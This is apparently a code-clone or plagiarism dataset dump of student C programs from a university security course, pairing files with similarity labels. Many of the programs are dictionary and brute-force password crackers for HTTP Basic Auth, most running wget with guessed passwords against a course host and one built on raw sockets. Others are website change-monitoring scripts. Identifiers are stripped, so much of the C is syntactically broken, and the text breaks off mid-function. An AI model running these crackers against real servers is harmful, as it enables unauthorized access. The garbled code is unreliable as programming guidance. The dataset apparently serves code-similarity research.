F1
stringlengths 5
5
| F2
stringlengths 5
5
| text_1
stringlengths 474
8.26k
| text_2
stringlengths 474
8.26k
| label
int64 0
1
|
---|---|---|---|---|
028.c | 074.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <netdb.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <errno.h>
#define BUFFER_SIZE 2000
#define RETURN_OK 0
#define RETURN_ERROR 1
#define TRUE 1
#define FALSE 0
#define PASSWORD_LENGTH 3
#define STATUS_OK 200
#define STATUS_AUTH_REQUIRED 401
#define PASSWORD_BAD 0
#define PASSWORD_OK 1
#define CONN_CLOSED 2
void processArguments(int, char **argv, char **, char **, char **);
void printUsage(char *);
void splitURL(const char *, char **, char **);
int initialiseConnection(struct sockaddr_in *, char *);
int openConnection(struct sockaddr_in *);
void sendRequest(int, char *, char *, char *, char *);
int getResponseStatus(int);
void base64_encode(const unsigned char *, unsigned char *);
void getHostErrorMsg(char *);
int testPassword(int, char *, char *, char *, char *);
int (int argc, char *argv[])
{
char password[BUFFER_SIZE];
char *dictionaryfile;
FILE *fp;
int attempt;
int ret;
char *host;
char *filename;
char *url;
char *username;
struct sockaddr_in serverAddr;
int ;
processArguments(argc, argv, &url, &username, &dictionaryfile);
splitURL(url, &host, &filename);
if (initialiseConnection(&serverAddr, host) == RETURN_ERROR)
exit(RETURN_ERROR);
= openConnection(&serverAddr);
fp = fopen(dictionaryfile, "r");
if (fp == NULL)
{
fprintf(stderr, "Cannot open %s\n", dictionaryfile);
exit(RETURN_ERROR);
}
attempt = 0;
while (TRUE)
{
attempt++;
ret = fscanf(fp, "%s", password);
if (ret == EOF)
break;
ret = testPassword(, host, filename, username, password);
if (ret == PASSWORD_OK)
{
printf("Password found after %d attempts: %s",
attempt, password);
exit(RETURN_OK);
}
else if (ret == CONN_CLOSED)
{
();
= openConnection(&serverAddr);
ret = testPassword(, host, filename, username, password);
if (ret == PASSWORD_OK)
{
printf("Password found after %d attempts: %s",
attempt, password);
exit(RETURN_OK);
}
}
}
printf("The password has not been cracked\n");
exit(RETURN_OK);
}
int testPassword(int , char *host, char *filename,
char *username, char *password)
{
int status;
sendRequest(, host, filename, username, password);
status = getResponseStatus();
if (status == STATUS_OK)
return PASSWORD_OK;
else if (status == CONN_CLOSED)
return CONN_CLOSED;
else if (status != STATUS_AUTH_REQUIRED)
fprintf(stderr, "Status %d received from server\n", status);
return PASSWORD_BAD;
}
void processArguments(int argc, char *argv[], char **url, char **username,
char **dictionary)
{
if (argc != 4)
{
printUsage(argv[0]);
exit(1);
}
*url = (char *) malloc(strlen(argv[1] + 1));
strcpy(*url, argv[1]);
*username = (char *) malloc(strlen(argv[2] + 1));
strcpy(*username, argv[2]);
*dictionary = (char *) malloc(strlen(argv[3] + 1));
strcpy(*dictionary, argv[3]);
}
void printUsage(char *program)
{
fprintf(stderr, "Usage:\n");
fprintf(stderr, "%s url username dictionaryfile\n", program);
}
void splitURL(const char *url, char **host, char **file)
{
char *p1;
char *p2;
p1 = strstr(url, "//");
if (p1 == NULL)
p1 = (char *) url;
else
p1 = p1 + 2;
p2 = strstr(p1, "/");
if (p2 == NULL)
{
fprintf(stderr, "Invalid url\n");
exit(RETURN_ERROR);
}
*host = (char *) malloc(p2-p1+2);
strncpy(*host, p1, p2-p1);
(*host)[p2-p1] = '\0';
*file = (char *) malloc(strlen(p2+1));
strcpy(*file, p2);
}
void sendRequest(int , char *host, char *filename, char *username,
char *password)
{
char message[BUFFER_SIZE];
unsigned char encoded[BUFFER_SIZE];
unsigned char token[BUFFER_SIZE];
sprintf((char *) token, "%s:%s", username, password);
base64_encode(token, encoded);
sprintf(message, "GET %s HTTP/1.1\nHost: %s\nAuthorization: %s\n\n",
filename, host, encoded);
if (write(, message, strlen(message)) == -1)
{
perror("");
exit(RETURN_ERROR);
}
}
int getResponseStatus()
{
char message[BUFFER_SIZE];
char headercheck[5];
int bytesRead;
char *p1;
char status_str[4];
int status;
bytesRead = (, message, BUFFER_SIZE-1);
message[bytesRead] = '\0';
strncpy(headercheck, message, 4);
headercheck[4] = '\0';
if (strcmp(headercheck, "HTTP") != 0)
{
bytesRead = (, message, BUFFER_SIZE);
}
if (bytesRead == -1)
{
perror("");
exit(RETURN_ERROR);
}
else if (bytesRead == 0)
{
return CONN_CLOSED;
}
p1 = strstr(message, " ");
if (p1 == NULL)
{
printf("Status not found in response\n");
exit(RETURN_ERROR);
}
p1++;
strncpy(status_str, p1, 3);
status_str[3] = '\0';
status = atol(status_str);
return status;
}
int initialiseConnection(struct sockaddr_in *serverAddr, char *host)
{
unsigned serverIP;
struct hostent *serverHostent;
char errorMsg[100];
memset(serverAddr, 0, sizeof(*serverAddr));
serverAddr->sin_port = htons(80);
if ((serverIP = inet_addr(host)) != -1)
{
serverAddr->sin_family = AF_INET;
serverAddr->sin_addr.s_addr = serverIP;
}
else if ((serverHostent = gethostbyname(host)) != NULL)
{
serverAddr->sin_family = serverHostent->h_addrtype;
memcpy((void *) &serverAddr->sin_addr,
(void *) serverHostent->h_addr, serverHostent->h_length);
}
else
{
getHostErrorMsg(errorMsg);
printf("%s: %s\n", host, errorMsg);
return RETURN_ERROR;
}
return RETURN_OK;
}
int openConnection(struct sockaddr_in *serverAddr)
{
int ;
if (( = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("");
exit(RETURN_ERROR);
}
if (connect(, (struct sockaddr *) serverAddr, sizeof(*serverAddr)) == -1)
{
perror("");
exit(RETURN_ERROR);
}
return ;
}
void base64_encode(const unsigned char *input, unsigned char *output)
{
static const char *codes =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int i;
int len;
int lenfull;
unsigned char *p;
int a;
int b;
int c;
p = output;
len = strlen((char *) input);
lenfull = 3*(len / 3);
for (i = 0; i < lenfull; i += 3)
{
*p++ = codes[input[0] >> 2];
*p++ = codes[((input[0] & 3) << 4) + (input[1] >> 4)];
*p++ = codes[((input[1] & 0xf) << 2) + (input[2] >> 6)];
*p++ = codes[input[2] & 0x3f];
input += 3;
}
if (i < len)
{
a = input[0];
b = (i+1 < len) ? input[1] : 0;
c = 0;
*p++ = codes[a >> 2];
*p++ = codes[((a & 3) << 4) + (b >> 4)];
*p++ = (i+1 < len) ? codes[((b & 0xf) << 2) + (c >> 6)] : '=';
*p++ = '=';
}
*p = '\0';
}
void getHostErrorMsg(char *message)
{
switch (h_errno)
{
HOST_NOT_FOUND :
strcpy(message, "The specified host is unknown");
break;
NO_DATA:
strcpy(message, "The specified host name is valid, but does not have address");
break;
NO_RECOVERY:
strcpy(message, "A non-recoverable name server error occurred");
break;
TRY_AGAIN:
strcpy(message, "A temporary error occurred authoritative name server. Try again later.");
break;
default:
strcpy(message, " unknown name server error occurred.");
}
}
| 0 |
028.c | 052.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include<stdio.h>
#include<stdlib.h>
int ()
{
FILE *fin1;
FILE *fin2;
int flag=0;
while(1)
{
system("wget -p http://www.cs.rmit.edu./students");
system("cd www.cs.rmit.edu./");
if(flag>0)
{
fin1=fopen("./watchtext/index.html","r");
fin2=fopen("./watchtext/test2.txt","r");
system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");
system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");
system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");
system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");
system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");
system("rm ./www.cs.rmit.edu./test2.txt");
fclose(fin2);
fclose(fin1);
}
if(flag==0)
{
system("mkdir watchtext");
if((fin1=fopen("./watchtext/index.html","r"))==NULL)
{
system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");
system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");
flag++;
}
}
printf("Running every 24 hours");
sleep(86400);
}
system("rmdir ./watchtext");
}
| 0 |
028.c | 046.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include<stdio.h>
#include<stdlib.h>
#include<string.h>
()
{
FILE *pfile1;
int i,j;
i=1;
j=0;
char flag[3];
strcpy(flag,"");
while (i>0)
{
system("wget -p http://www.cs.rmit.edu./students/");
pfile1=fopen(" ./www.cs.rmit.edu./.txt","w");
system("mkdir ");
system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./.txt ");
fclose(pfile1);
if (strcmp(flag,"yes")!=0)
{
system(" mv ./www.cs.rmit.edu./.txt ./.txt");
system(" cp ./www.cs.rmit.edu./students/index.html ./");
}
if (strcmp(flag,"yes")==0)
{
system("diff ./www.cs.rmit.edu./students/index.html .//index.html | mail @cs.rmit.edu. ");
system("diff ./www.cs.rmit.edu./.txt ./.txt | mail @cs.rmit.edu. ");
system(" mv ./www.cs.rmit.edu./.txt ./.txt");
}
sleep(86400);
j++;
strcpy(flag,"yes");
}
}
| 0 |
028.c | 037.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include <ctype.h>
#include <sys/time.h>
#define SUCCESS 0;
#define FAILURE 1;
#define SECONDS 1e9
int findPassword(char *);
int smallPass();
int capsPass();
int main()
{
int foundP;
foundP=smallPass();
foundP=capsPass();
if(foundP == 2)
{
return SUCCESS;
}
printf("\n PASSWORD NOT FOUND");
return SUCCESS;
}
int smallPass()
{
char [26] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
char pass[3]="";
int i,j,k,l;
int incr;
int found;
int , end, final;
= time();
for(j=0;j<3;j++)
{
incr=0;
for(i=0;i<=25;i++)
{
if(j==0)
{
incr++;
pass[j]=[i];
printf("\n Trial %d --- %s ",incr,pass);
found = findPassword(pass);
if(found == 2)
{
end = time();
final = end-;
printf(" %lld nanoseconds (%1f seconds) find the Password\n",final,(double) final / SECONDS);
printf("\nPASSWORD FOUND -- %s",pass);
return 2;
}
}
if(j==1)
{
pass[j-1]=[i];
for(k=0;k<=25;k++)
{
incr++;
pass[j] = [k];
printf("\n Trial %d --- %s ",incr,pass);
found = findPassword(pass);
if(found == 2)
{
end = time();
final = end-;
printf(" %lld nanoseconds (%1f seconds) find the Password\n",final,(double) final / SECONDS);
printf("\nPASSWORD FOUND -- %s",pass);
return 2;
}
}
}
if(j==2)
{
pass[j-2]=[i];
for(k=0;k<=25;k++)
{
pass[j-1] = [k];
for(l=0;l<=25;l++)
{
incr++;
pass[j] = [l];
pass[j+1]='\0';
printf("\n Trial %d --- %s ",incr,pass);
found = findPassword(pass);
if(found == 2)
{
end = time();
final = end-;
printf(" %lld nanoseconds (%1f seconds) find the Password\n",final,(double) final / SECONDS);
printf("\nPASSWORD FOUND -- %s",pass);
return 2;
}
}
}
}
}
}
return SUCCESS;
}
int capsPass()
{
char caps[26] ={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
char pass[3]="";
int i,j,k,l;
int incr;
int found;
int , end, final;
= time();
for(j=2;j<3;j++)
{
incr=0;
for(i=0;i<=25;i++)
{
if(j==0)
{
incr++;
pass[j]=caps[i];
printf("\n Trial %d --- %s ",incr,pass);
found = findPassword(pass);
if(found == 2)
{
end = time();
final = end-;
printf(" %lld nanoseconds (%1f seconds) find the Password\n",final,(double) final / SECONDS);
printf("\nPASSWORD FOUND -- %s",pass);
return 2;
}
}
if(j==1)
{
pass[j-1]=caps[i];
for(k=0;k<=25;k++)
{
incr++;
pass[j] = caps[k];
printf("\n Trial %d --- %s ",incr,pass);
found = findPassword(pass);
if(found == 2)
{
end = time();
final = end-;
printf(" %lld nanoseconds (%1f seconds) find the Password\n",final,(double) final / SECONDS);
printf("\nPASSWORD FOUND -- %s",pass);
return 2;
}
}
}
if(j==2)
{
pass[j-2]=caps[i];
for(k=0;k<=25;k++)
{
pass[j-1] = caps[k];
for(l=0;l<=25;l++)
{
incr++;
pass[j] = caps[l];
pass[j+1]='\0';
printf("\n Trial %d --- %s ",incr,pass);
found = findPassword(pass);
if(found == 2)
{
end = time();
final = end-;
printf(" %lld nanoseconds (%1f seconds) find the Password\n",final,(double) final / SECONDS);
printf("\nPASSWORD FOUND -- %s",pass);
return 2;
}
}
}
}
}
}
return SUCCESS;
}
int findPassword(char *pass)
{
char var[50]="";
char [50]="";
strcpy(var,"wget --non-verbose --http-user= --http-passwd=");
strcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
strcat(var,pass);
strcat(var,);
if(system(var)==0)
{
return 2;
}
return SUCCESS;
}
| 0 |
028.c | 013.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#define TRUE 0
()
{
FILE *fp;
system("rmdir ./www.cs.rmit.edu.");
char chk[1];
strcpy(chk,"n");
while(1)
{
system("wget -p http://www.cs.rmit.edu./students/");
system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./text1.txt");
if (strcmp(chk,"n")==0)
{
system("mv ./www.cs.rmit.edu./text1.txt ./text2.txt");
system("mkdir ./");
system("mv ./www.cs.rmit.edu./students/index.html ./");
}
else
{
system(" diff ./www.cs.rmit.edu./students/index.html .//index.html | mail @cs.rmit.edu. ");
system(" diff ./www.cs.rmit.edu./text1.txt ./text2.txt | mail @cs.rmit.edu. ");
system("mv ./www.cs.rmit.edu./students/index.html ./");
system("mv ./www.cs.rmit.edu./text1.txt ./text2.txt");
}
sleep(86400);
strcpy(chk,"y");
}
}
| 0 |
028.c | 068.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <string.h>
#include <ctype.h>
#include <sys/time.h>
#define ant 1e9
int ()
{
char c[2],[3][2];
register int i,j,k,x,y,z,t,r,s,final,count=0;
int starttime,endtime,totaltime;
char ch[5],ch1[5],ch2[5],s1[100],s2[100];
c[0]='A',c[1]='a';
[0][1]=[1][1]=[2][1]='\0';
strcpy(s1, "wget --http-user= --http-passwd=");
strcpy(s2, " http://sec-crack.cs.rmit.edu./SEC/2/");
starttime=time();
for(r=0;r<=1;r++)
{
for(i=c[r],x=0;x<=25;x++,i++)
{
[0][0]=i;
strcpy(ch,[0]);
for(s=0;s<=1;s++)
{
for(j=c[s],z=0;z<=25;z++,j++)
{
[1][0]=j;
strcpy(ch1,[0]);
strcat(ch1,[1]);
for(t=0;t<=1;t++)
{
for(k=c[t],y=0;y<=25;y++,k++)
{ count++;
[2][0]=k;
strcpy(ch2,ch1);
strcat(ch2,[2]);
printf("\n %s",ch2);
strcat(s1, ch2);
strcat(s1, s2);
printf("\n combination sent %s\n", s1);
final = system(s1);
if (final == 0)
{
endtime=time();
totaltime=(endtime-starttime);
printf("count %d",count);
printf("totaltime %1f",(double)totaltime/ant);
printf("\nsuccess %s\n",ch2);
exit(1);
}
strcpy(s1, "");
strcpy(s1, "wget --http-user= --http-passwd=");
}
}
}
}
}
}
}
| 0 |
028.c | 057.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
|
# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <strings.h>
# include <sys/time.h>
int ()
{
char s[30];
char c[100];
char usr[50];
char url[100];
char charcopy[200];
int starting,ending;
int totaltime;
FILE* fp;
FILE* f;
int i,j,k;
fp = fopen("/usr/share/lib/dict/words","r");
strcpy(charcopy, "wget --http-user= --http-passwd=");
strcpy(url, "-nv -o logfile1 http://sec-crack.cs.rmit.edu./SEC/2/");
starting=time();
while(!feof(fp))
{
j=40;
fgets(c,30,fp);
for(i=0;i<strlen(c);i++)
{
charcopy[j]=c[i];
j++;
}
charcopy[j-1] = ' ';
for(i=0;i<strlen(url);i++)
{
charcopy[j]=url[i];
j++;
}
charcopy[j] = '\0';
printf("%s\n",c);
system(charcopy);
f = fopen("logfile1","r");
if(f != (FILE*) NULL)
{
fgets(s,30,f);
if(strcmp(s,"Authorization failed.\n")!=0)
{
ending=time();
totaltime=ending-starting;
totaltime=totaltime/1000000000;
totaltime=totaltime/60;
printf("Time taken break the password is %lld\n",totaltime);
exit(0);
}
}
fclose(f);
}
fclose(fp);
return 1;
}
| 0 |
028.c | 002.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>
()
{
int i,m,k,count=0;
FILE* diction;
FILE* log;
char s[30];
char pic[30];
char add[1000];
char end[100];
time_t ,finish;
double ttime;
strcpy(add,"wget --http-user= --http-passwd=");
strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");
diction=fopen("/usr/share/lib/dict/words","r");
=time(NULL);
while(fgets(s,100,diction)!=NULL)
{
printf("%s\n",s);
for(m=40,k=0;k<(strlen(s)-1);k++,m++)
{
add[m]=s[k];
}
add[m++]=' ';
for(i=0;i<50;i++,m++)
{
add[m]=end[i];
}
add[m]='\0';
system(add);
count++;
log=fopen("logd","r");
fgets(pic,100,log);
printf("%s",pic);
if(strcmp(pic,"Authorization failed.\n")!=0)
{
finish=time(NULL);
ttime=difftime(,finish);
printf( "\n The time_var take:%f/n The of passwords tried is %d\n",ttime,count);
break;
}
fclose(log);
}
}
| 0 |
028.c | 056.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| # include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <sys/time.h>
# include <strings.h>
int ()
{
char* check = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
char s[100];
char charcopy[200];
FILE* f;
int i,j,k;
int starting,ending;
int totaltime;
starting=time();
for (i=0;i<strlen(check);i++)
{
for(j=0;j<strlen(check);j++)
{
for(k=0;k<strlen(check);k++)
{
strcpy(charcopy,"wget --http-user= --http-passwd= -nv -o logfile http://sec-crack.cs.rmit.edu./SEC/2/");
charcopy[40]=check[i];
charcopy[41]=check[j];
charcopy[42]=check[k];
system(charcopy);
printf("%c %c %c\n",check[i],check[j],check[k]);
printf("%s\n",charcopy);
f = fopen("logfile","r");
if(f != (FILE*) NULL)
{
fgets(s,30,f);
printf("%s\n",s);
if(strcmp(s,"Authorization failed.\n")!=0)
{
ending=time();
totaltime=ending-starting;
totaltime=totaltime/1000000000;
totaltime=totaltime/60;
printf("Total time_var taken break the Password is %lld minutes\n", totaltime);
exit(0);
}
}
fclose(f);
}
}
}
return 1;
}
| 0 |
028.c | 064.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#include <strings.h>
#include <ctype.h>
int ()
{
FILE *open;
char *tst,check[5];
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir one");
system("mv www.cs.rmit.edu./images/*.* one/");
system("mv www.cs.rmit.edu./students/*.* one/");
sleep(90);
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir two");
system("mv www.cs.rmit.edu./images/*.* two/");
system("mv www.cs.rmit.edu./students/*.* two/");
system("diff one two > imagedif.txt");
open = fopen("imagedif.txt","r");
tst = fgets(check, 5, open);
if (strlen(check) != 0)
system("mailx -s \" WatchDog Difference \" @.rmit.edu. < imagedif.txt");
return 0;
system("rm -r one");
system ("rm -r two");
}
| 0 |
028.c | 048.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include "stdio.h"
#include "string.h"
#include "stdlib.h"
()
{
FILE *pfile;
int i,t,tt,num,not;
char str[255];
char [4];
char url[400];
if ((pfile = fopen("./words", "r")) == NULL)
fprintf(stderr, "Cannot open %s\n", "output_file");
tt=time(&(t));
not=0;
while (!feof(pfile))
{
strcpy(str,"");
fgets(str,80,pfile);
if (strlen(str)<=4)
{
strcpy(,str);
strcpy(url,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
strcat(url," --http-user= --http-passwd=");
strcat(url,);
num=system(url);
not++;
if (num==0)
{
printf("The actual password is :%s\n",);
time(&(t));
tt=t-tt;
printf("The number of attempts crack the passssword by dictionary method is :%d\n",not);
printf("The time_var taken find the password by dictionary method is :%d seconds\n",tt);
exit(1);
}
else
{
strcpy(,"");
}
}
}
}
| 0 |
028.c | 040.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include <sys/time.h>
#include <strings.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
int ()
{
FILE *fp ,*fp1;
char pass[15], *getWord;
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir previous");
system("mv www.cs.rmit.edu./images/*.* previous/");
system("mv www.cs.rmit.edu./students/*.* previous/");
system("cd www.cs.rmit.edu./images");
system("cksum *.* > ../../cksum1.txt");
sleep(10000);
system("cd .. ");
system("cd .. ");
system("wget -p --convert-links http://www.cs.rmit.edu./students/");
system("mkdir current");
system("mv www.cs.rmit.edu./images/*.* current/");
system("mv www.cs.rmit.edu./students/*.* current/");
system("cd www.cs.rmit.edu./images");
system("cksum *.* > ../../cksum2.txt");
system("diff cksum1.txt cksum2.txt> checksumdifference.txt");
system("diff previous current > difference.txt");
fp1 =fopen("difference.txt","r");
getWord = fgets(pass, 15, fp1);
if(strlen(getWord)!= 0)
system("mailx -s \"Difference in \" < difference.txt ");
fp =fopen("checksumdifference.txt","r");
getWord = fgets(pass, 15, fp);
if(strlen(getWord)!= 0)
system("mailx -s \"Difference in \" < checksumdifference.txt");
return 0;
}
| 0 |
028.c | 062.c |
#include <stdio.h>
#include <stdlib.h>
int ()
{
char pasword[20];
char username[]="";
int ;
int counter=0;
char get[96];
FILE* fp;
fp = fopen("/usr/share/lib/dict/words","r");
while ( fscanf(fp,"%s",&pasword) != EOF )
{
if(strlen(pasword) > 3) continue;
counter ++;
printf("%d >> The Password is : %s \n",counter, pasword);
sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,pasword);
=system(get);
if(==0)
{
printf("The Password has been cracked and it is : %s " , pasword);
exit(0);
}
}
}
| #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<strings.h>
#include <ctype.h>
#include <math.h>
#include <sys/time.h>
int
()
{
int , end;
int i, j, k, p;
char [52];
char tempch = 'a';
char password[3] = {'\0', '\0', '\0'};
int check, stop = 1;
float total_time;
int number;
= time();
for (i = 0; i < 26; i++) {
[i] = tempch;
tempch++;
}
tempch = 'A';
for (i = 26; i < 52; i++) {
[i] = tempch;
tempch++;
}
if (stop == 1) {
for (j = 0; j < 52; j++) {
password[0] = [j];
check = SysCall(password);
if (check == 0) {
getpid();
end = time();
total_time = (end-)/1e9;
printf("\ntotal time_var = %f ", total_time);
printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
printf("\navg time_var %f / %d = %f\n", total_time, number,total_time/number);
exit(0);
stop = 0;
}
}
for (j = 0; j < 52; j++) {
password[0] = [j];
for (k = 0; k < 52; k++) {
password[1] = [k];
check = SysCall(password);
if (check == 0) {
getpid();
end = time();
total_time = (end-)/1e9;
printf("\ntotal time_var = %f ", total_time);
printf("\n\nAvg getpid() time_var = %f usec\n",total_time);
printf("\navg time_var %f / %d = %f\n", total_time, number,total_time/number);
exit(0);
stop = 0;
}
}
}
for (j = 0; j < 52; j++) {
password[0] = [j];
for (k = 0; k < 52; k++) {
password[1] = [k];
for (p = 0; p < 52; p++) {
password[2] = [p];
check = SysCall(password);
if (check == 0) {
getpid();
